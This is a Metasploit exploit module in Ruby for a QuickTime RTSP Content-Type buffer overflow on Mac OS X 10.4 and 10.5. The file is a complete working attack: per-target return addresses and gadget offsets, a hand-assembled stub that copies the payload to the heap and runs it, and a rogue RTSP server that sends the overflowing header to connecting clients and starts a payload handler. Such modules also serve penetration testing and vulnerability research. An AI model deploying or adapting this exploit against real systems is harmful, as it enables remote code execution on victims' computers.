require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'MacOS X QuickTime RTSP Content-Type Overflow',
'Platform' => 'osx',
'Targets' =>
[
[ 'Mac OS X 10.4.0 PowerPC, QuickTime 7.0.0', {
'Arch' => ARCH_PPC,
'Ret' => 0x8fe3f88c,
'RetOffset' => 551,
'PayloadOffset' => 879
}
],
[ 'Mac OS X 10.5.0 PowerPC, QuickTime 7.2.1', {
'Arch' => ARCH_PPC,
'Ret' => 0x8fe042e0,
'RetOffset' => 615,
'PayloadOffset' => 3351
}
],
[ 'Mac OS X 10.4.8 x86, QuickTime 7.1.3', {
'Arch' => ARCH_X86,
'Offset' => 307,
'Writable' => 0xa0bd0f10, # libSystem __IMPORT
# The rest of these are all in libSystem __TEXT
'ret' => 0x9015d336,
'poppopret' => 0x9015d334,
'setjmp' => 0x900bc438,
'strdup' => 0x90012f40,
'jmp_eax' => 0x9014a77f
}
],
[ 'Mac OS X 10.5.0 x86, QuickTime 7.2.1', {
'Arch' => ARCH_X86,
'Offset' => 307,
'Writable' => 0x8fe66448, # dyld __IMPORT
# The rest of these addresses are in dyld __TEXT
'ret' => 0x8fe1ceee,
'poppopret' => 0x8fe220d7,
'setjmp' => 0x8fe1ceb0,
'strdup' => 0x8fe1cd77,
'jmp_eax' => 0x8fe01041
}
],
],
'DefaultTarget' => 2,
'Payload' => {
'Space' => 3841,
'BadChars' =>
"\x00\x0a\x0d",
'MaxNops' => 0,
'StackAdjustment' => -3500,
}
))
end
######
# XXX: This does not work on Tiger apparently
def make_exec_payload_from_heap_stub()
frag0 =
"\x90" + # nop
"\x58" + # pop eax
"\x61" + # popa
"\xc3" # ret
frag1 =
"\x90" + # nop
"\x58" + # pop eax
"\x89\xe0" + # mov eax, esp
"\x83\xc0\x0c" + # add eax, byte +0xc
"\x89\x44\x24\x08" + # mov [esp+0x8], eax
"\xc3" # ret
setjmp = target['setjmp']
writable = target['Writable']
strdup = target['strdup']
jmp_eax = target['jmp_eax']
exec_payload_from_heap_stub =
frag0 +
[setjmp].pack('V') +
[writable + 32, writable].pack("V2") +
frag1 +
"X" * 20 +
[setjmp].pack('V') +
[writable + 24, writable, strdup, jmp_eax].pack("V4") +
"X" * 4
end
def on_client_connect(client)
print_status("Got client connection...")
if (target['Arch'] == ARCH_PPC)
ret_offset = target['RetOffset']
payload_offset = target['PayloadOffset']
# Create pattern sized up to payload, since it always follows
# the return address.
boom = Rex::Text.pattern_create(payload_offset)
boom[ret_offset, 4] = [target['Ret']].pack('N')
boom[payload_offset, payload.encoded.length] = payload.encoded
else
boom = Rex::Text.pattern_create(327)
boom[307, 4] = [target['ret']].pack('V')
boom[311, 4] = [target['ret']].pack('V')
boom[315, 4] = [target['poppopret']].pack('V')
boom[319, 4] = [target['Writable']].pack('V')
boom[323, 4] = [target['Writable']].pack('V')
#
# Create exec-payload-from-heap-stub, but split it in two.
# The first word must be placed as the overwritten saved ebp
# in the attack string. The rest is placed after the
# Writable memory addresses.
#
magic = make_exec_payload_from_heap_stub()
boom[303, 4] = magic[0, 4]
boom += magic[4..-1]
#
# Place the payload immediately after the stub as it expects
#
boom += payload.encoded
end
body = " "
header =
"RTSP/1.0 200 OK\r\n"+
"CSeq: 1\r\n"+
"Content-Type: #{boom}\r\n"+
"Content-Length: #{body.length}\r\n\r\n"
print_status("Sending RTSP response...")
client.put(header + body)
print_status("Sleeping...")
sleep(1)
print_status("Starting handler...")
handler(client)
print_status("Closing client...")
service.close_client(client)
end
end